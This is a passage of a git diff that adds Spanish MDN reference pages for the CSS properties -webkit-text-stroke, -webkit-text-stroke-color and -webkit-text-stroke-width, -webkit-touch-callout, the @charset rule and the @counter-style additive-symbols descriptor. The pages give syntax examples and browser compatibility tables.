+   <td><a class="external external-icon" href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariCSSRef/Articles/StandardCSSProperties.html#//apple_ref/doc/uid/TP30001266--webkit-text-fill-color" hreflang="en" lang="en">Referencia CSS Safari<br>
+    <small lang="es">'-webkit-text-fill-color' en ese documento.</small></a></td>
+   <td>Documentanción no oficial no estándar</td>
+   <td>Documentación inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Compatibilidad</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Compatibilidad</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li><a href="https://www.webkit.org/blog/85/introducing-text-stroke/">Post del blog Surfin' Safari anunciando esta característica</a></li>
+ <li><a href="https://css-tricks.com/adding-stroke-to-web-text/">Artículo de CSS-Tricks explicando esta característica</a></li>
+ <li>{{cssxref("-webkit-text-stroke-color")}}</li>
+ <li>{{cssxref("-webkit-text-stroke-width")}}</li>
+ <li>{{cssxref("-webkit-text-stroke")}}</li>
+</ul>
diff --git a/files/es/web/css/-webkit-text-stroke-color/index.html b/files/es/web/css/-webkit-text-stroke-color/index.html
new file mode 100644
index 0000000000..ef5119cb4e
--- /dev/null
+++ b/files/es/web/css/-webkit-text-stroke-color/index.html
@@ -0,0 +1,129 @@
+---
+title: '-webkit-text-stroke-color'
+slug: Web/CSS/-webkit-text-stroke-color
+tags:
+  - CSS
+  - No estándar(2)
+  - Propiedad CSS
+translation_of: Web/CSS/-webkit-text-stroke-color
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad CSS <strong><code>-webkit-text-stroke-color</code></strong> especifica el  <a href="/es/docs/Web/CSS/color_value">color</a> del trazo de los caracteres de texto. Si no se fija se usa el valor de la propiedad {{cssxref("color")}}.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="brush:css">/* valores &lt;color&gt; */
+-webkit-text-stroke-color: red;
+-webkit-text-stroke-color: #e08ab4;
+-webkit-text-stroke-color: rgb(200, 100, 0);
+
+/* Valores gloables */
+-webkit-text-stroke-color: inherit;
+-webkit-text-stroke-color: initial;
+-webkit-text-stroke-color: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;color&gt;</code></dt>
+ <dd>El color del trazo.</dd>
+</dl>
+
+<h3 id="Síntaxis_Formal">Síntaxis Formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Compat', '#the-webkit-text-stroke-color', '-webkit-text-stroke-color')}}</td>
+   <td>{{Spec2('Compat')}}</td>
+   <td>Estandarización Inicial</td>
+  </tr>
+  <tr>
+   <td><a class="external external-icon" href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariCSSRef/Articles/StandardCSSProperties.html#//apple_ref/doc/uid/TP30001266--webkit-text-stroke-color" hreflang="en" lang="en">Referencia CSS de Safari CSS<br>
+    <small lang="en-US">'-webkit-text-stroke-color' en ese documento.</small></a></td>
+   <td>Documentación no estándar y no oficial.</td>
+   <td>Documentación Inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>No es parte de ninguna especificación.</p>
+
+<p>Apple tiene <a href="">una descripción de <code>-webkit-text-stroke-color</code> en la referencia CSS de Safari</a>.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li><a href="https://www.webkit.org/blog/85/introducing-text-stroke/">Post en el blog Surfin' Safari anunciando esta característica</a></li>
+ <li><a href="https://css-tricks.com/adding-stroke-to-web-text/">Artículo en CSS-Tricks explicando esta característica</a></li>
+ <li>{{cssxref("-webkit-text-fill-color")}}</li>
+ <li>{{cssxref("-webkit-text-stroke-width")}}</li>
+ <li>{{cssxref("-webkit-text-stroke")}}</li>
+</ul>
diff --git a/files/es/web/css/-webkit-text-stroke-width/index.html b/files/es/web/css/-webkit-text-stroke-width/index.html
new file mode 100644
index 0000000000..797dbea3f4
--- /dev/null
+++ b/files/es/web/css/-webkit-text-stroke-width/index.html
@@ -0,0 +1,118 @@
+---
+title: '-webkit-text-stroke-width'
+slug: Web/CSS/-webkit-text-stroke-width
+tags:
+  - CSS
+  - Experimental
+  - No estandar
+  - Referencia
+translation_of: Web/CSS/-webkit-text-stroke-width
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad  <a href="/es/docs/Web/CSS">CSS </a><strong><code>-webkit-text-stroke-width</code></strong> especifica la anchura del trazo de texto.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="brush:css">/* TODO */
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;line-width&gt;</code></dt>
+ <dd>La anchura del trazo.</dd>
+</dl>
+
+<h3 id="Síntaxis_Formal">Síntaxis Formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Compat', '#the-webkit-text-stroke-width', '-webkit-text-stroke-width')}}</td>
+   <td>{{Spec2('Compat')}}</td>
+   <td>Estandarización Inicial</td>
+  </tr>
+  <tr>
+   <td><a class="external external-icon" href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariCSSRef/Articles/StandardCSSProperties.html#//apple_ref/doc/uid/TP30001266--webkit-text-stroke-width" hreflang="en" lang="en">Referencia CSS de Safari<br>
+    <small lang="en-US">'-webkit-text-stroke-width' en ese documento.</small></a></td>
+   <td>Non-standard unofficial documentation</td>
+   <td>Documentación Inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li><a href="https://www.webkit.org/blog/85/introducing-text-stroke/">Post en el blog Surfin' Safari anunciando esa característica</a></li>
+ <li><a href="https://css-tricks.com/adding-stroke-to-web-text/">Artículo en CSS-Tricks explicando esa característica</a></li>
+ <li>{{cssxref("-webkit-text-stroke-color")}}</li>
+ <li>{{cssxref("-webkit-text-stroke")}}</li>
+ <li>{{cssxref("-webkit-text-fill-color")}}</li>
+</ul>
diff --git a/files/es/web/css/-webkit-text-stroke/index.html b/files/es/web/css/-webkit-text-stroke/index.html
new file mode 100644
index 0000000000..d9c1e26ae6
--- /dev/null
+++ b/files/es/web/css/-webkit-text-stroke/index.html
@@ -0,0 +1,142 @@
+---
+title: '-webkit-text-stroke'
+slug: Web/CSS/-webkit-text-stroke
+tags:
+  - CSS
+  - No estándar(2)
+  - Propiedad
+  - Referencia
+translation_of: Web/CSS/-webkit-text-stroke
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad  <a href="/es/docs/Web/CSS">CSS </a><strong><code>-webkit-text-stroke</code></strong> especifica la  <a href="/es/docs/Web/CSS/length">anchura</a> y  <a href="/es/docs/Web/CSS/color_value">color</a> del trazo para los caractéres de texto. Esta forma es una manera corta en relación con la forma larga que necesita usar las propiedades{{cssxref("-webkit-text-stroke-width")}} y {{cssxref("-webkit-text-stroke-color")}}.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="brush:css notranslate">/* Valores anchura y color */
+-webkit-text-stroke: 4px navy;
+
+/* Valores globales */
+-webkit-text-stroke: inherit;
+-webkit-text-stroke: initial;
+-webkit-text-stroke: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>La anchura del trazo.</dd>
+ <dt><code>&lt;color&gt;</code></dt>
+ <dd>El color del trazo.</dd>
+</dl>
+
+<h3 id="Síntaxis_Formal">Síntaxis Formal</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p id="example"&gt;El trazo de este texto es rojo.&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">#example {
+  font-size: 50px;
+  margin: 0;
+  -webkit-text-stroke: 2px red;
+}</pre>
+
+<p>{{EmbedLiveSample("Example", 600, 60)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Compat', '#the-webkit-text-stroke', '-webkit-text-stroke')}}</td>
+   <td>{{Spec2('Compat')}}</td>
+   <td>Estandarización Inicial</td>
+  </tr>
+  <tr>
+   <td><a class="external external-icon" href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariCSSRef/Articles/StandardCSSProperties.html#//apple_ref/doc/uid/TP30001266-_webkit_text_stroke" hreflang="en" lang="en">Referencia CSS Safari<br>
+    <small lang="en-US">'-webkit-text-stroke' en ese documento.</small></a></td>
+   <td>Documentación no oficial y no estándar</td>
+   <td>Documentación Inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li><a href="https://www.webkit.org/blog/85/introducing-text-stroke/">Post en el blog Surfin' Safari anunciando esta característica</a></li>
+ <li><a href="https://css-tricks.com/adding-stroke-to-web-text/">Artículo en CSS-Tricks explicando esta característica</a></li>
+ <li>{{cssxref("-webkit-text-stroke-width")}}</li>
+ <li>{{cssxref("-webkit-text-stroke-color")}}</li>
+ <li>{{cssxref("-webkit-text-fill-color")}}</li>
+</ul>
diff --git a/files/es/web/css/-webkit-touch-callout/index.html b/files/es/web/css/-webkit-touch-callout/index.html
new file mode 100644
index 0000000000..dbb8e830e7
--- /dev/null
+++ b/files/es/web/css/-webkit-touch-callout/index.html
@@ -0,0 +1,106 @@
+---
+title: '-webkit-touch-callout'
+slug: Web/CSS/-webkit-touch-callout
+tags:
+  - CSS
+  - No estándar(2)
+  - Propiedad CSS
+  - Referencia
+translation_of: Web/CSS/-webkit-touch-callout
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad <a href="/es/docs/Web/CSS">CSS </a><code>-webkit-touch-callout</code> controla la visualización de la llamada predeterminada que se muestra cuando se mantiene pulsado un objetivo táctil .</p>
+
+<p>Cuando se toca y se mantiene la presión  en un objetivo en iPhone OS, Safari muestra un un cuadro con información sobre el enlace.  Esta propiedad permite deshabilitar este comportamiento.</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="brush:css">/* Palabras clave valor */
+-webkit-touch-callout: default;
+-webkit-touch-callout: none;
+
+/* Valores globales */
+-webkit-touch-callout: initial;
+-webkit-touch-callout: inherit;
+-webkit-touch-callout: unset;</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>default</code></dt>
+ <dd>Se muestra el cuadro de información por defecto.</dd>
+ <dt><code>none</code></dt>
+ <dd>El cuadro está deshabilitado</dd>
+</dl>
+
+<h3 id="Síntaxis_Formal">Síntaxis Formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: css">.example {
+  -webkit-touch-callout: none;
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación.</p>
+
+<p>Apple tiene una <a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariCSSRef/Articles/StandardCSSProperties.html#//apple_ref/doc/uid/TP30001266-_webkit_touch_callout">descripcón en la Referencia CSS de Safari</a>.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] La propiedad  <code>-webkit-touch-callout</code> fue <a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariCSSRef/Articles/StandardCSSProperties.html#//apple_ref/doc/uid/TP30001266-_webkit_touch_callout">implementada en iOS 2.0</a> y posteriormente añadida a WebKit ({{webkitbug(121507)}}).</p>
diff --git a/files/es/web/css/@charset/index.html b/files/es/web/css/@charset/index.html
new file mode 100644
index 0000000000..c45a05f3e8
--- /dev/null
+++ b/files/es/web/css/@charset/index.html
@@ -0,0 +1,123 @@
+---
+title: '@charset'
+slug: Web/CSS/@charset
+tags:
+  - Regla-at
+translation_of: Web/CSS/@charset
+---
+<div>{{ CSSRef }}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La <a href="/en/CSS/At-rule" title="At-rule">regla-at</a> <strong><code>@charset</code></strong> de <a href="/en/CSS" title="CSS">CSS</a> especifica la codificación de caracteres usada en la hoja de estilos. Éste debe ser el primer elemento en la hoja de estilos, y no debe ser precedidad por ningun otro caracter; al no ser una <a href="/en/CSS/Syntax#nested_statements" title="en/CSS/Syntax#nested_statements">declaración anidada</a>, no puede ser usada dentro de <a href="/en/CSS/At-rule#Conditional_Group_Rules" title="en/CSS/At-rule#Conditional_Group_Rules">grupos de reglas-at condicionales</a>. Si se definen varias reglas-at <code>@charset</code>, solamente se usará la primera. La regla-at <code>@charset</code> no puede ser usada dentro de un atributo <code>style</code> style en un elemento HTML o dentro del elemento {{ HTMLElement("style") }} , ya que en estos casos se tomará en cuenta la codificación de la página HTML contenedora.</p>
+
+<p>Esta regla-at es útil cuando se usan caracteres fuera de la codificación ASCII en alguna propiedad CSS, como {{ cssxref("content") }}.</p>
+
+<p>Habiendo diferentes maneras de definir la codificación de caracteres en una hoja de estilos, el navegador intentará seguir este orden para identificarlo (deteniéndose en el primer paso que dé resultado):</p>
+
+<ol>
+ <li>El valor de la <a href="https://es.wikipedia.org/wiki/Marca_de_orden_de_bytes" title="http://en.wikipedia.org/wiki/Byte_order_mark">Marca de orden de bytes</a> al principio del archivo.</li>
+ <li>El valor dado por el atributo charset del encabezado HTTP <code>Content-Type:</code> o su equivalente en el protocolo usado para descargar la hoja de estilos.</li>
+ <li>La regla-at <code>@charset</code> de CSS.</li>
+ <li>Usar la codificación de caracteres definida en el documento de referencia: el atributo <code>charset</code> attribute del elemento {{ HTMLElement("link") }}. Este método es obsoleto para HTML5 y no debe ser usado.</li>
+ <li>Asumir que el documento es UTF-8.</li>
+</ol>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre>@charset "UTF-8";
+@charset 'iso-8859-15';
+</pre>
+
+<p>donde:</p>
+
+<dl>
+ <dt style="margin: 0 40px;"><em>charset</em></dt>
+ <dd style="margin: 0 40px;">Es un valor {{cssxref("&lt;string&gt;")}} que denota la codificación de caracteres que será usada. Debe ser el nombre de una codificación de caracteres compatible con Web, definida en el <a href="http://www.iana.org/assignments/character-sets">registro IANA</a>. Si varios nombres están asociados a una codificación, solamente se usará el que está marcado como <em>principal</em>.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: css">@charset "UTF-8";       /* Establece la codificación de la hoja de estilos a Unicode UTF-8 */
+@charset 'iso-8859-15'; /* Establece la codificación de la hoja de estilos a Latin-9 (idiomas de Europa Occidental, con símbolo de euro) */
+ @charset "UTF-8";      /* Inválido, hay un caracter (espacio) antes de la regla-at */
+@charset UTF-8;         /* Inválido, sin comillas simples o dobles, el valor no es una cadena {{cssxref("&lt;string&gt;")}} de CSS */
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'syndata.html#x57', '@charset') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad de navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>2.0</td>
+   <td>{{ CompatGeckoDesktop("1.8") }}<sup>[1]</sup></td>
+   <td>5.5<sup>[2]</sup></td>
+   <td>9</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>2.1</td>
+   <td>{{ CompatGeckoMobile("1.8") }}</td>
+   <td>5.5<sup>[2]</sup></td>
+   <td>10.0</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Firefox 1.0 soporta sólo una sintaxis inválida donde la codificación de caracteres no se establece entre comillas sencillas o dobles.</p>
+
+<p>[2] De IE 5.5 a IE 7, IE también soporta la sintaxis inválida donde la codificación de caracteres no se establece entre comillas sencillas o dobles.</p>
diff --git a/files/es/web/css/@counter-style/additive-symbols/index.html b/files/es/web/css/@counter-style/additive-symbols/index.html
new file mode 100644
index 0000000000..9c91ff7f39
--- /dev/null
+++ b/files/es/web/css/@counter-style/additive-symbols/index.html
@@ -0,0 +1,129 @@
+---
+title: additive-symbols
+slug: Web/CSS/@counter-style/additive-symbols
+tags:
+  - Descriptor CSS
+  - Estilos de Contador CSS
+  - Referencia
+translation_of: Web/CSS/@counter-style/additive-symbols
+---
+<h2 id="Resumen">Resumen</h2>
+
+<p><span class="seoSummary">El descriptor additive-symbols es similar al descriptor {{cssxref('symbols')}}, y permite al usuario especificar símbolos que se usarán para representación de contadores cuando el valor del descriptor {{cssxref('system')}} es <em>additive</em>. El descriptor <code>additive-symbols</code> define lo que se conoce como tuplas aditivas, cada una de las cuales es un par que contiene un símbolo y su peso como entero no negativo.</span> El sistema aditivo es usado para construir sistemas de <a href="http://en.wikipedia.org/wiki/Sign-value_notation">numeración de valores de signos</a> como la numeración romana.</p>
+
+<p>Cuando el valor del descriptor es <em>cyclic</em>, <em>numeric</em>, <em>alphabetic</em>, <em>symbolic</em>, o <em>fixed</em>, se usa el descriptor <code>symbols</code>, en lugar de <code>additive-symbols</code> para especificar los símbolos de conteo.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: css">additive-symbols: 3 "0";
+additive-symbols: 3 "0", 2 "\2E\20";
+additive-symbols: 3 "0", 2 url(symbol.png);
+</pre>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="html prettyprint" id="htmlOutput">&lt;ul class="list"&gt;
+   &lt;li&gt;One&lt;/li&gt;
+   &lt;li&gt;Two&lt;/li&gt;
+   &lt;li&gt;Three&lt;/li&gt;
+   &lt;li&gt;Four&lt;/li&gt;
+   &lt;li&gt;Five&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">@counter-style additive-symbols-example {
+  system: additive;
+  additive-symbols: I 1;
+}
+.list {
+  list-style: additive-symbols-example;
+}</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{ EmbedLiveSample('Example') }}</p>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Counter Styles', '#counter-style-symbols', 'additive-symbols')}}</td>
+   <td>{{Spec2('CSS3 Counter Styles')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(33)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(33)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{Cssxref("list-style")}}, {{Cssxref("list-style-image")}}, {{Cssxref("list-style-position")}}</li>
+ <li>{{cssxref("symbols", "symbols()")}}, la notación funcional para crear estilos de contador anónimos.</li>
+</ul>
diff --git a/files/es/web/css/@counter-style/index.html b/files/es/web/css/@counter-style/index.html
new file mode 100644
index 0000000000..557c5b42a9
--- /dev/null
+++ b/files/es/web/css/@counter-style/index.html
@@ -0,0 +1,200 @@
+---
+title: '@counter-style'
+slug: Web/CSS/@counter-style
+tags:
+  - At-rule
+  - CSS
+  - NeedsTranslation
+  - Reference
+  - Styles
+  - TopicStub
+  - counter
+translation_of: Web/CSS/@counter-style
+---
+<p>{{CSSRef}}</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>The<strong> <code>@counter-style</code></strong> <a href="/en/CSS" title="CSS">CSS</a> <a href="/en/CSS/At-rule" title="en/CSS/At-rule">at-rule</a> lets authors define specific counter styles that are not part of the predefined set of styles. A <code>@counter-style</code> rule defines how to convert a counter value into a string representation.</p>
+
